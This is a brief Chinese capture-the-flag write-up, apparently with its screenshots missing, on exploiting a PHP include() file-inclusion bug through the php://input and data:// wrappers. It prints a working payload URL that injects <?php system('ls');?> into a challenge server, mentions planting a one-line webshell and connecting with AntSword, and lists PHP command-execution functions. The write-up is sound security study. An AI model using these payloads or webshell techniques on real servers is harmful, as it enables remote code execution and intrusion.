| 查看题目给了一堆php代码: include(): 类似include($_GET[‘value’]; )的问题
  
 1.可以用php://input伪协议:
  
   
 
  
 2.可以用data://伪协议来操作:
  接下来用data://伪协议将一句话木马写入(base64编码) 用中国蚁剑链接
 
  ——其实不用base64编码也可以:输入
 http://111.200.241.244:53101/?page=data://text/plain,<?php system('ls');?>同样奏效
 
   
 system()passthru()
 exec()
 shell_exec()
 popen()
 proc_open()
 pcntl_exec()
 例如system():
 
   
 伪协议常常用于文件包含漏洞之中。 在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile 可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。 当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。形如标准协议HTTP、FTP的自定义协议叫做伪协议
  file://协议:
 
  |